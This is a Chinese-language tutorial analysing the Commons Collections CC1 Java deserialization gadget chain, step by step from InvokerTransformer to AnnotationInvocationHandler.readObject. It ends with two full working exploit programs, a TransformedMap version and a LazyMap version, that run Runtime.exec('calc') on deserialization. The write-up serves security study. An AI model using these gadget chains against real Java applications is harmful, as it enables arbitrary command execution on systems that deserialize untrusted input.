Common-Collections
相关介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)
Common-Collections 这个项目开发出来是为了给 Java 标准的Collections API
提供了相当好的补充,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。在开发应用程序的过程中,既保证了性能,同时也能大大简化代码
包结构介绍
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag
– 实现Bag接口的一组类
org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer
– 实现Buffer接口的一组类
org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list
– 实现java.util.List接口的一组类
org.apache.commons.collections.map
– 实现Map系列接口的一组类
org.apache.commons.collections.set
– 实现Set系列接口的一组类
环境配置
下载 jdk8u65
创建一个 IDEA 项目,选中 maven,并使用 jdk8u65
在添加 Maven 中,对 CC1 链的依赖包
1 2 3 4 5 6
| <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
我们 import CC 的包
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
如果成功说明安装成功了
我们还要做一件事,修改 sun 包。
因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件
去openJDK 8u65下载 zip 文件
将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了
在idea中把src目录加进去
CC1链有两种构造方法,先来TransformMap版CC1攻击链分析
首先我们再次明确一下反序列化的攻击思路:
入口类这里,我们需要一个readObject
方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下
- 寻找尾部的 exec 方法
- 总结出前人挖洞的思路,我们这里加速,去到 Transformer 接口看一看
快捷键 ctrl + alt + B,查看实现接口的类
我先是寻找了MapTransformer
,再寻找了InvokerTransformer
成功找到了我们需要的尾部 — 命令执行,在InvokerTransformer
类中存在一个反射调用任意类,可以作为我们链子的终点
看到这里有漏洞,我们构造一下,调用这个类弹计算器
1 2 3 4 5 6 7 8 9
| import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokeTransformerTest { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
|
注意我们最后一句 invokerTransformer.transform(runtime);
所以我们下一步目标是找调用transform
方法的不同名函数
右键find usages查看调用transform的地方
要是只显示了一处调用的话, ctrl + alt + shift + f7 + (fn) 把更改为project file改为All Places
得到21处results
其中TransformedMap类中存在checkSetValue()
方法调用了transform()
方法
TransformedMap
的构造方法作用域是protected
,我们还需要去找谁调用了TransformedMap
的构造方法,发现在decorate()
静态方法中创建了TransformedMap
对象
只有一处地方调用了checkSetValue方法,在AbstractInputCheckedMapDecorator类中的setValue方法
再找调用setValue方法的地方,这里调用setValue的地方有点多,一个一个找有点麻烦,我们尝试理解一下这个类,AbstractInputCheckedMapDecorator是TransformedMap的子类
在map中一个键值对就是一个entry,我们遍历Transformed中的map时就会调用AbstractInputCheckedMapDecorator中的setValue方法,进而调用checkSetValue
构造一下代码
至此利用链成功一半了
现在要找一个entry遍历数组,里面调用setValue方法,传进去的值可控。理想状态是找到一个readObject方法,诶还真找到了
找到AnnotationInvocationHandler
,这个类完美地符合我们的预期。InvocationHandler
这个后缀,是用做动态代理中间处理,因为它继承了InvocationHandler
接口
要注意这个类的访问权限不是public,只能在这个包里访问,因此要通过反射获取这个类
至此流程就设计好了,但是还有几个问题
1.Runtime对象是我们自己生成的,没继承Serializable接口不能序列化
2.setValue的值貌似不可控
3.两个if条件要满足
先来解决Runtime:
Runtime
是不能序列化的,但是Runtime.class
是可以序列化的,下面是反射的Runtime
接着,我们将这个反射的Runtime
改造为使用InvokerTransformer
调用的方式
1 2 3
| Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
可以看到都是后一个调用前一个,transformer循环调用,与ChainedTransfomer功能一致,转换成ChainedTransfomer版本
下面这样运行是调用不成功的
下断点跟进一下,发现我们的第一个if条件不满足,直接步过了
因此思考怎样传值能满足if条件
Override中没有成员方法,找不到和key同名的成员方法,故不满足
换Target类
有个名为value的成员方法,满足,我们只需要传key=”value”即可
这个时候能走到第二个if条件了
但是控制不了第二个if条件中setValue方法的参数value的值,如果能控制的话结合之前推的链就能成功利用了
我们需要找到一个类,能够可控setValue
的参数,这里找到的是ConstantTransformer
类,完美符合预期,只要初始构造函数传入我们想要的值,最后transform方法无论传入什么都返回我们构造函数传入的值,上面setValue最后的值没有丝毫影响!
我们先传入一个Runtime.class
,然后无论transform()
方法会调用什么对象,都会返回Runtime.class
至此整条链分析完毕,成功执行!
总结一下我们的利用链
1 2 3 4
| InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject
|
使用到的工具类辅助利用链:
1 2 3
| ConstantTransformer ChainedTransformer HashMap
|
流程图
整体代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class); annocationInvocationHandler.setAccessible(true); Object o = annocationInvocationHandler.newInstance(Target.class,transformedMap);
serialize(o); unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|
LazyMap版CC1链分析
ysoserial中用的是LazyMap构造的链子
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class); annocationInvocationHandler.setAccessible(true); InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annocationInvocationHandler.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
|
汇总